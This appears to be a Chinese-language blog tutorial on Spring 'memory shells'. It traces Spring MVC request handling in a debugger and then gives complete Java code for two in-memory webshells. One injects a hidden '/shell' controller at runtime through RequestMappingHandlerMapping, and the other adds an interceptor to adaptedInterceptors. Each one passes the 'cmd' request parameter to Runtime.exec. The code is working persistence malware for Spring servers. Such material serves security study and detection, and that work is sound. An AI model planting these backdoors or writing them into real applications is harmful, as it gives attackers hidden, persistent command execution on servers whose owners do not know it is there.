Spring内存马
考虑到一篇文章篇幅太长对阅读不友好,现在改动把分析和深入利用分开写。
本次所用环境
spring 2.6.13
JDK 1.8.0.66
IDEA 2024.2
前言
前面我们学习了《tomcat内存马》,对内存马也有了大致的熟悉,核心操作是获取StandardContext上下文对象进行动态操作请求
在java开发中,spring是最受欢迎的一个框架,感兴趣可以去了解一下这个框架
打开spring的官网,找到spring的支持,可以看见有很多系列,这里不一一介绍,我们重点看一下 Spring Framework这个介绍,他是整个spring系列的核心,从下面的简介就能看出,紧挨着的Spring Boot不过是能帮我们快速启动一个spring应用
从上面点击进入到Spring Framework,这里有很多spring产品,来到Spring Framework的LEARN里面,选择最新版本进入查看文档
https://docs.spring.io/spring-framework/reference/overview.html
简单了解一下spring是什么,我们说的什么springmvc,springbooot都是基于Spring Framework
https://docs.spring.io/spring-framework/reference/core/beans/basics.html
我是觉得谷歌翻译有点突兀,后面我找了ai进行翻译看着还比较通畅,这里提到了核心内容:应用层的特定上下文是个WebApplicationContext,还记得《Tomcat内存马》中,我们操作的最多的就是Tomcat的上下文对象StandardContext,很显然Spring的下文对象已经变成了WebApplicationContext
这里关于spring的介绍就不一一诉述了,全都在文档里面,感兴趣可以去看看
这个bean是简而言之就是一个对象,是spring的专业术语
关于spring项目的路由处理,我这里就看见两个,一个是叫Controller(类似于Tomcat的Servlet),另一个叫Interceptor(类似于Tomcat的Filter和Listener)
新建一个SpringBoot项目
这里我折腾了半天,由于我使用的是idea2024.2,导致新建spring找不到合适的教程,还有就是新建好了以后,遇到maven依赖要下载半天(因为前面tomcat内存马里面我就用的idea自带的maven,没有管他),后面我又配置了本地maven,用阿里云仓库,那叫一个丝滑
maven配置参考这一篇
https://blog.csdn.net/Daisy74RJ/article/details/106565657
选择新建项目,选择Spring Boot类型,选择maven,但是我的jdk8用在选择下一步的时候会出现版本不匹配
但是这里面没有jdk8的对应
后面我百度了一下https://blog.csdn.net/aiains/article/details/139217733,改一下顶上的服务器地址就可以了
这样就可以选择
选择Web > Spring Web
创建完成,等待maven依赖解析完成
如果半天没有加载完记得看一下idea的设置,maven有没有设置对,我这里用的本地maven,修改了maven的配置文件为阿里云代理,速度嘎嘎快
依赖加载完成后选择扩展全部
控制台没有报错,启动成功,有端口提示8080
访问本地8080端口,出现默认页面内容,同时控制台也有对于日志输出
在这个demos.web包下有路由配置示例
试着访问一下/hello路径,return的内容直接输出到了页面上,感觉挺神奇的,之前都需要用response的write来输出内容
还有这个@RequestParam注解,很方便的设置获取参数并且设置默认值
切换
我重新新建一个controller包,在下面新建一个TestController类,然后仿照示例给类加上@Controller注解,在里面的方法加上
@ResponseBody和@RequestMapping("/test")注解,并在里面配置路径,通过web也能正常访问
Controller内存马
分析
我们还是从源码分析,在Controller下断点,以debug模式启动,访问路由成功击中断点
漫长的堆栈回溯
我们看一下堆栈,大致看一眼这个堆栈,还是有我们熟悉的名字doFilter
其实我们主要目的是想看看在哪里有对路由进行路径匹配然后调用对应的代码
test:13, TestController (org.example.springmemory.controller) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) doInvoke:205, InvocableHandlerMethod (org.springframework.web.method.support) invokeForRequest:150, InvocableHandlerMethod (org.springframework.web.method.support) invokeAndHandle:117, ServletInvocableHandlerMethod (org.springframework.web.servlet.mvc.method.annotation) invokeHandlerMethod:895, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation) handleInternal:808, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation) handle:87, AbstractHandlerMethodAdapter (org.springframework.web.servlet.mvc.method) doDispatch:1071, DispatcherServlet (org.springframework.web.servlet) doService:964, DispatcherServlet (org.springframework.web.servlet) processRequest:1006, FrameworkServlet (org.springframework.web.servlet) doGet:898, FrameworkServlet (org.springframework.web.servlet) service:670, HttpServlet (javax.servlet.http) service:883, FrameworkServlet (org.springframework.web.servlet) service:779, HttpServlet (javax.servlet.http) internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core) doFilter:162, ApplicationFilterChain (org.apache.catalina.core) doFilter:53, WsFilter (org.apache.tomcat.websocket.server) internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core) doFilter:162, ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:100, RequestContextFilter (org.springframework.web.filter) doFilter:117, OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core) doFilter:162, ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:93, FormContentFilter (org.springframework.web.filter) doFilter:117, OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core) doFilter:162, ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter) doFilter:117, OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core) doFilter:162, ApplicationFilterChain (org.apache.catalina.core) invoke:197, StandardWrapperValve (org.apache.catalina.core) invoke:97, StandardContextValve (org.apache.catalina.core) invoke:541, AuthenticatorBase (org.apache.catalina.authenticator) invoke:135, StandardHostValve (org.apache.catalina.core) invoke:92, ErrorReportValve (org.apache.catalina.valves) invoke:78, StandardEngineValve (org.apache.catalina.core) service:360, CoyoteAdapter (org.apache.catalina.connector) service:399, Http11Processor (org.apache.coyote.http11) process:65, AbstractProcessorLight (org.apache.coyote) process:893, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1789, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:745, Thread (java.lang)
点击上一个堆栈,这里没有什么东西,再往上看看
这里发现,这个方法的参数就直接是我们TestController类了,没有发现怎么创建获取TestController的,所以再往上看
这个方法的参数情况和前面一样,继续往上看
这个方法的参数值也是其他地方给他传的TestController类,但是我们查看这个类的开头,他是一个反射包的类,作用是通过反射获取方法用的
看样子应该快了,都到了执行类的反射获取方法,肯定前面有什么操作匹配到了对应路径,然后通过class反射执行我们的对应方法
这里发现方法的参数内容不在是TestController, 而是一个Object,而他又执行了this.getBridgedMethod()获取到了TestController#test方法,我们在这里下断点并重新访问,跟入这个方法看看
访问路径成功断住,我们步入进入这个方法
这是一个HandlerMethod类,这个方法只是返回了类的成员变量this.bridgedMethod,并没有其他操作,既然是成员变量,我们搜索bridgedMethod = 看看在哪有赋值
结果发现有五处,数量不多,定位过去看了一下都是构造函数里面进行的赋值,那我全部给他下上断点,然后重新访问看看情况
成功断下断点, 看来一眼这个方法,接受参数有两个,一个TestController对象,一个TestController#test方法
看一下堆栈,决定往上回溯是谁调用执行了他
好家伙,这个不还是在HandlerMethod里面吗。
他自己new了一个自己的实例返回,还得往上看是谁在执行这个HandlerMethod#createWithResolvedBean
来到这个AbstractHandlerMethodMapping#getHandlerInternal里面,这个方法接收一个HttpServletRequest对象,然后在里面有动态创建我们的TestController。
通过this.initLookupPath(request)获取到了我们请求的路径,然后通过this.lookupHandlerMethod传入路径和request对象获取到了TestController#test方法
在这里重新下断点分析
AbstractHandlerMethodMapping#mappingRegistry
单步进去,他通过mappingRegistry获取到了一个RequestMappingInfo对象,看看这个mappingRegistry是个什么
这里保存着我们所有的url路径,看来我们要动态注册Controller肯定要操作AbstractHandlerMethodMapping#mappingRegistry 进行修改。
这个MappingRegistry还是AbstractHandlerMethodMapping的内部类,跟过去看一下
MappingRegistry#register
来到内部类的地方,类很简短,其中成员变量registry就是前面我们所看到存储我们uri和对应类的地方。
接着看一下其他函数,他有register方法,仔细看一下,是否如名字一样能注册
大致看了一下,这个方法需要三个参数T mapping, Object handler, Method method
他能通过接收的参数进行动态添加,在方法最后通过this.registry.put进行添加
关于Object handler, Method method参数,前面我们在堆栈回溯的时候,有在前面看见过这种命名格式,有可能是类对象和类对象的Method属性,我们还是看一下在这个函数内部他是怎么处理的
判断Object handler是否是字符串,看样子他允许通过字符串或者对象来进行创建
看一下通过对象是怎么创建的,主要是分析这个对象是个什么对象
到这里怎么这么熟悉,这不是前面有分析过的地方吗,断点都还在这里
这张图是前面在进行堆栈回溯分析的图
虽然这个方法和上面的方法不一样,但是不影响我们对HandlerMethod的变量初始化分析
这下知道了他三个参数其中两个的定义
Object handler 我们恶意类对象Object
Method method 通过反射获取恶意类对象的Method对象,就是访问路由要执行的哪个方法
回过头来看MappingRegistry#register方法, 进入到this.validateMethodMapping
既然他是执行registry#get,那么这个mapping肯定是能作为他的key来处理。 因为 MappingRegistry#registry 是一个map集合
我们展开AbstractHandlerMethodMapping#mappingRegistry就可以得出,这个mapping就是RequestMappingInfo对象
这三个参数我们了解完了。
我们看一下本类有没有执行mappingRegistry.register的地方
我们所在的这个类是一个抽象类,查看他的继承类有重写父类的方法,我们在这里是有看得见的,idea有提示,这个是编辑器的功能,点进去看看
RequestMappingHandlerMapping#registerMapping
来到RequestMappingHandlerMapping类,这里没有做任何处理,就单纯的调用父类方法
看来一下文档,这个类一个特殊bean,是spring管理的实例,都归DispatcherServlet管,也就是说这个也像前面tomcat的Context一样是一个全局的对象
我看ai还给我说还有一个类可以处理请求,不知道他可不可以动态注册路由,要是可以就挖掘到了新的链,这个只是猜想,如果可以我相信网上也应该文章,这个只是思路,暂且不谈
RequestMappingInfo
关于RequestMappingInfo,之前没有仔细看过,我们在这里刚好可以点进去看看怎么构造
这里有好多构造函数都弃用了,虽然弃用了也还是可以用的, 只是会有编辑器提示而已
在我们分析 AbstractHandlerMethodMapping#mappingRegistry的时候就看过mappingRegistry内容,RequestMappingInfo里面有用的信息就是pathPatternsCondition(PathPatternsRequestCondition类)
我们需要对pathPatternsCondition进行赋值,这里的public方法都不能满足需求,所以我们只能用他的private方法,用反射执行
分析一下这个参数怎么构造,看看有没有什么坑点,还是说就简简单单new就行了
PathPatternsRequestCondition
他有两个public方法,都会执行最后一个private方法,我们要选择带参构造函数,因为我们要初始化我们的uri路径
有参的构造函数会执行本身的parse方法,他就是对 patterns参数进行路径处理,前面没有/就加上,然后返回一个Set集合执行私有的
PathPatternParser没有什么特殊的,就是一个uri处理类,到时候我们直接new他就行了
RequestMappingInfo(补充)
null问题
我对比一下AbstractHandlerMethodMapping#mappingRegistry的RequestMappingInfo内容
name和patternsCondition可以为空其余的就算没有值也要初始化有个空数值或对象,如果说不这么做会有什么影响呢,往下看
我们从还是从AbstractHandlerMethodMapping#getHandlerInternal开始往下看,看看他怎么处理路径的
前面在堆栈回溯有分析路径,通过搜索快速定位this.lookupHandlerMethod
再往下看,到这里获取directPathMatches都没有问题,跟进去这个this.addMatchingMappings里面
这就是对路径的一个遍历,本来我们的PathPatternsRequestCondition#patterns就存的数组,然后这里执行了一个this.getMatchingMapping(mapping, request);
看样子我们可以在打内存马的时候写多个路径,每次访问不同路径来执行,虽然没有什么吊用,迷糊自己用,要是被杀你再多路径也不顶用
进入后他执行了我们第一个参数的getMatchingCondition方法,我们 再次跟进去
大致看一下,就是对我的成员变量进行判断是否为空,为空会直接返回,所以前面我们再看AbstractHandlerMethodMapping#mappingRegistry的RequestMappingInfo内容是,发现尽管他很多参数都是空数值也没有说直接是null
事实上他还对不为空的变量也做了判断
这个pathPatternsCondition我们熟悉,这里面我们要保存uri路径,所以就算进去了在if里执行获取path还是有内容的,不会触发return。
而PatternsRequestCondition,我们就需要保持为空,不然你在新建RequestMappingInfo时new一个PatternsRequestCondition给进去,没有对PatternsRequestCondition处理就会走进return里面去,索性直接在初始化的时候给他一个null
我们看RequestMappingInfo在构造的时候,会对PatternsRequestCondition和PathPatternsRequestCondition进行判断,这两个必须有一个不为空,这并不影响我们把PatternsRequestCondition赋值为null,因为我们重点设置了PathPatternsRequestCondition
说一下RequestMappingInfo的其他参数,可以直接new,你不传参会默认给你一个空数组,这正是我想要的
RequestConditionHolder你在new的时候得传一个,但是前面分析代码有没有用到这个类,所以我们直接给个null进去
patternsCondition和pathPatternsCondition
这里是我在后面写反序列化注入内存马的时候遇到一个问题,中间间隔时间有点长,导致项目运行不起来,后面我重新debug分析RequestMappingInfo,发现如图,pathPatternsCondition是有值的,而patternsCondition已经为null,这是为什么,与前面分析结果相反,这个确实是保真的,有图有真相
下面是询问GPT得出结果,就是版本原因
不知道GPT靠不靠谱,我有搜索了这个api,这个文档果然是有说明。首先不知道为什么我的项目对路径匹配的方式发生了变化,但是我们知道一个事情,Spring5.3有着其他匹配方式。所以我们的马有两种方法编写
patternsCondition
看一下,这个patternsCondition是什么,前面有分析PathPatternsRequestCondition,已经对这个路由熟悉了点,直接看RequestMappingInfo, 发现可以支持PatternsRequestCondition的构造函数,还是多的
查看这个PatternsRequestCondition类,和PathPatternsRequestCondition类很像。
这里要是实在不知道是要用哪个构造器,有个很简单的方法,你直接new一个PatternsRequestCondition,然后对比已经存在PatternsRequestCondition对象,看看哪有不一样,不一样就反射修改他的属性
这里我随便找了一个一行,简简单单new一个,然后debug,发现new出来的一模一样,能调试万事大吉,就怕只能静态分析
总结一下思路
获取WebApplicationContext
通过WebApplicationContext获取RequestMappingHandlerMapping
新建一个恶意类,里面写一个方法包含命令执行代码
通过反射获取恶意类的Method方法
新建一个RequestMappingInfo
新建一个pathPatternsRequestCondition,传入访问路径
执行RequestMappingHandlerMapping#registerMapping,把所需参数传入
class编写
pathPatternsCondition
说一下这里没有用jsp编写,都用上spring了,再用jsp有点不符合他的新特性,我们新建一个路由来触发,现在于这个ShellController就是和之前我们新建一个空白的jsp一样,我们在addController里面写逻辑代码,然后在创建一个恶意内部类
package org.example.springmemory.controller; import org.springframework.boot.SpringApplication; import org.springframework.context.ApplicationContext; import org.springframework.lang.Nullable; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.context.support.WebApplicationContextUtils; import org.springframework.web.servlet.mvc.condition.*; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import org.springframework.web.util.pattern.PathPatternParser; import javax.servlet.http.HttpServletRequest; import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.Collections; import java.util.TreeSet; @Controller public class ShellController { @ResponseBody @RequestMapping("/addController") public String addController() throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Method method = Shell.class.getDeclaredMethod("exec"); PathPatternsRequestCondition pathPatternsRequestCondition = new PathPatternsRequestCondition(new PathPatternParser(), "/shell"); Constructor<RequestMappingInfo> declaredConstructor = RequestMappingInfo.class.getDeclaredConstructor( String.class, PathPatternsRequestCondition.class, PatternsRequestCondition.class, RequestMethodsRequestCondition.class, ParamsRequestCondition.class, HeadersRequestCondition.class, ConsumesRequestCondition.class, ProducesRequestCondition.class, RequestConditionHolder.class, RequestMappingInfo.BuilderConfiguration.class); declaredConstructor.setAccessible(true); RequestMappingInfo requestMappingInfo = declaredConstructor.newInstance( "", pathPatternsRequestCondition, null, new RequestMethodsRequestCondition(), new ParamsRequestCondition(), new HeadersRequestCondition(), new ConsumesRequestCondition(), new ProducesRequestCondition(), new RequestConditionHolder(null), new RequestMappingInfo.BuilderConfiguration()); requestMappingHandlerMapping.registerMapping(requestMappingInfo, new Shell(), method); return "addController"; } class Shell { public Shell() { } public void exec() throws IOException { HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); Runtime.getRuntime().exec(request.getParameter("cmd")); } } }
patternsCondition
直接copy ShellController的的代码,改一下名字,避免重复
下面再改两个地方,就是把路径匹配规则换成patternsCondition,然后传入requestMappingInfo里面
访问路由正常
访问我们的shell地址,成功执行命令
Interception内存马
Interception就如同Tomcat的filter一样,可以在请求前进行拦截,只是在spring里面叫法不同,核心都是一样的
新建一个Interception
可以看见文档关于Interception的描述如下,所有HandlerMapping实现都支持Interception拦截处理,换句话讲,就是只要是Controller都能实现拦截进行处理,关于Interception需要实现HandlerInterceptor 接口来创建,然后重写下面三个方法,这三个方法有着不同时期的执行顺序
看一下他说的配置如何配置
有两种方法,一个是通过xml文件配置,另一个是通过java代码实现
在我的项目中新建了一个包interception,在里面新建我们的TestInterception实现HandlerInterceptor方法,重写了他的三个方法,在preHandle里面输出一句话,这样可以方便观察控制台是否有输出内容执行了我们的interception
接着我们配置这个TestInterception,按照文档我在启动程序类目录下新建一个config,把文档的配置内容复制过来并导入相应的包
如何注册我们的Interceptor呢,我们仔细看一下文档的配置类,他已经给出示例用registry.addInterceptor给我们添加了两个初始的Interceptor,我们直接仿照他的样子注册我们的TestInterception
启动项目访问/test已有路径,Interceptor已经成功执行执行
分析
我们在Interceptor里面下一个段点,分析一下他是怎么执行了
preHandle:12, TestInterception (org.example.springmemory.interception) applyPreHandle:148, HandlerExecutionChain (org.springframework.web.servlet) doDispatch:1066, DispatcherServlet (org.springframework.web.servlet) doService:964, DispatcherServlet (org.springframework.web.servlet) processRequest:1006, FrameworkServlet (org.springframework.web.servlet) doGet:898, FrameworkServlet (org.springframework.web.servlet) service:670, HttpServlet (javax.servlet.http) service:883, FrameworkServlet (org.springframework.web.servlet) service:779, HttpServlet (javax.servlet.http) internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core) doFilter:162, ApplicationFilterChain (org.apache.catalina.core) doFilter:53, WsFilter (org.apache.tomcat.websocket.server) internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core) doFilter:162, ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter) doFilter:117, OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core) doFilter:162, ApplicationFilterChain (org.apache.catalina.core) invoke:197, StandardWrapperValve (org.apache.catalina.core) invoke:97, StandardContextValve (org.apache.catalina.core) invoke:541, AuthenticatorBase (org.apache.catalina.authenticator) invoke:135, StandardHostValve (org.apache.catalina.core) invoke:92, ErrorReportValve (org.apache.catalina.valves) invoke:78, StandardEngineValve (org.apache.catalina.core) service:360, CoyoteAdapter (org.apache.catalina.connector) service:399, Http11Processor (org.apache.coyote.http11) process:65, AbstractProcessorLight (org.apache.coyote) process:893, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1789, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:745, Thread (java.lang)
往上分析,看见这里已经把拦截器给初始化好了,那我们接着往上看
看见mappedHandler 的拦截器也初始化好的,我们往上看,这个mappedHandler是哪来的
我们进入这个this.getHandler(processedRequest);看看
看看见handlerMappings的内容不一样,我们打开看看,这里面有三个对象,每个对象都有我们的拦截器,那肯定这里是关键地方,能最终筛选出合适的拦截器
这里打个断点,重新进来
他遍历出了每个对象,如果能获取到的handler就返回,跟进去看一下这个mapping.getHandler(request);都做什么
进来后,前面的if都没有进去,但是呢,本行运行完就获取到了我们的拦截器,所以我们的在这里下断点重新分析
进来过后发现他创建了一个新的Chain,然后从this里面取出所有的拦截器,然后下面的循环添加到新的Chain里面进行返回
看一下当前这个类是在AbstractHandlerMapping,是一个抽象类
总结一下,我们只需要获取AbstractHandlerMapping#adaptedInterceptors,把我们的拦截器添加进去就可以了
获取WebApplicationContext
获取AbstractHandlerMapping对象
通过反射获取AbstractHandlerMapping#adaptedInterceptors
新建恶意拦截器
AbstractHandlerMapping#adaptedInterceptors添加恶意拦截器
class编写
新建一个拦截器, 写一个简单的获取参数命令执行
新建一个控制器,我们在这里面写逻辑
还记得我们前面说的目标类是一个抽象类,没有人会实例化他,所以我们只能获取他的继承类,我们通过WebApplicationContext获取bean的时候,发现他他的几个继承类,就只有两个可以用
其实最后测试来只有RequestMappingHandlerMapping可以使用
package org.example.springmemory.controller; import org.example.springmemory.interception.ShellInterception; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.servlet.HandlerInterceptor; import org.springframework.web.servlet.handler.AbstractDetectingUrlHandlerMapping; import org.springframework.web.servlet.handler.AbstractHandlerMapping; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import java.lang.reflect.Field; import java.util.List; @Controller public class ShellInterceptor { @ResponseBody @RequestMapping("/addInterceptor") public String addInterceptor(){ WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); AbstractHandlerMapping bean = context.getBean(RequestMappingHandlerMapping.class); try { Field interceptors = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); interceptors.setAccessible(true); List<HandlerInterceptor> handlerInterceptorList = (List<HandlerInterceptor>)interceptors.get(bean); handlerInterceptorList.add(new ShellInterception()); } catch (NoSuchFieldException | IllegalAccessException e) { throw new RuntimeException(e); } return "addInterceptor"; } } package org.example.springmemory.interception; import org.springframework.web.servlet.HandlerInterceptor; import org.springframework.web.servlet.ModelAndView; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; public class ShellInterception implements HandlerInterceptor { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String cmd = request.getParameter("cmd"); Runtime.getRuntime().exec(cmd); return HandlerInterceptor.super.preHandle(request, response, handler); } @Override public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { HandlerInterceptor.super.postHandle(request, response, handler, modelAndView); } @Override public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { HandlerInterceptor.super.afterCompletion(request, response, handler, ex); } }
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)